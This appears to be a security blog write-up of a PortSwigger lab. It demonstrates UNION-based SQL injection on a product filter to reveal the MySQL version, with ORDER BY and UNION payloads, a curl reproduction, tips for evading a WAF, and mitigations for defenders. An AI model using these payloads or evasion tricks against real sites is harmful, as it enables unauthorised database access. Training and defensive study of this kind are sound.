Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

SQL injection attack, querying the database type and version on MySQL and Microsoft

SQL injection attack, querying the database type and version on MySQL and Microsoft: - Determine the DBMS and extract the version string by injecting through the category parameter of /filter. - Confirm output-based UNION injection and demonstrate the minimal payload that discloses version. • PortSwigger • SQL Injection • version, fliter

2022-09-113 tags
Tags

Lab goal: The product category filter is vulnerable to SQL injection. Use a UNION attack to display the database version string on the page.


🎯 Objective

  • Determine the DBMS and extract the version string by injecting through the category parameter of /filter.
  • Confirm output-based UNION injection and demonstrate the minimal payload that discloses version.

🧩 Context

  • Injection point: GET /filter?category=<value>
  • Behavior: Results of the injected query are reflected in the response (classic UNION output).
  • DBMS: Indicators + successful payloads confirm MySQL/MariaDB (supports # line comment and @@version).

🛠️ Tooling

  • Browser + Burp Suite (Proxy, Repeater).
  • Optional: curl for reproducible requests.

🔎 Methodology & Steps

Step 1 — Find the number of columns (ORDER BY)

Start with ORDER BY to discover the result-set width. On this app, -- caused 500s, while MySQL’s # comment worked.

Payload

sql
' ORDER BY 1 #

Increase the index until an error occurs. Failure at index 3 ⇒ 2 columns total.

Evidence ORDER BY discovery


Step 2 — Discover column data types (string vs number)

Test with strings in both columns. If the page renders, both positions accept text.

Payload

sql
' UNION SELECT 'a','a' #

Result: Renders successfully ⇒ both columns are text-compatible.

Evidence UNION type probing


Step 3 — Extract database version

For MySQL/MariaDB, use @@version. Place the version into a visible column and pad the second column with a benign string.

Final Payload

sql
' UNION SELECT @@version,'a' #

Deliver this in the category parameter:

text
GET /filter?category=Gifts' UNION SELECT @@version,'a' # HTTP/2
Host: <LAB-HOST>
Cookie: session=<YOUR_SESSION>

Evidence Version string rendered

If the version prints on the page, the lab objective is met.


📦 Repro via curl

bash
curl -i \
  -H 'Cookie: session=<YOUR_SESSION>' \
  'https://<LAB-HOST>/filter?category=Gifts%27%20UNION%20SELECT%20@@version,%27a%27%20%23'

🧠 Notes & Gotchas

  • Comments: This target required # (MySQL-style). If blocked, try --+ or /*…*/ depending on WAF behavior.
  • Column count: Always match column count and compatible types to avoid errors.
  • Alternate DBMS checks:
    • PostgreSQL: version()
    • Oracle: banner from v$version or version from product_component_version
    • MSSQL: @@version
  • WAF quirks: URL-encode space as + or %0a, and try case flips or inline comments to evade signature checks.

🛡️ Mitigations (for blue teams)

  • Use parameterized queries / prepared statements.
  • Apply least privilege DB accounts (read-only where possible).
  • Centralized input validation (allow-lists for filterable fields).
  • Disable verbose DB errors; serve generic messages.
  • Add RASP/WAF with SQLi behavioral detection (not just keyword signatures).

📚 Quick Reference

  • MySQL version: SELECT @@version
  • Column count via ORDER BY n escalation
  • UNION shape: must match number and types of original SELECT

Outcome: DB version successfully disclosed via UNION SELECT @@version,'a' #, proving output-based SQL injection on the category filter.

Navigate

In this post

  1. 01🎯 Objective
  2. 02🧩 Context
  3. 03🛠️ Tooling
  4. 04🔎 Methodology & Steps
  5. 05Step 1 — Find the number of columns (ORDER BY)
  6. 06Step 2 — Discover column data types (string vs number)
  7. 07Step 3 — Extract database version
  8. 08📦 Repro via curl
  9. 09🧠 Notes & Gotchas
  10. 10🛡️ Mitigations (for blue teams)
  11. 11📚 Quick Reference
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.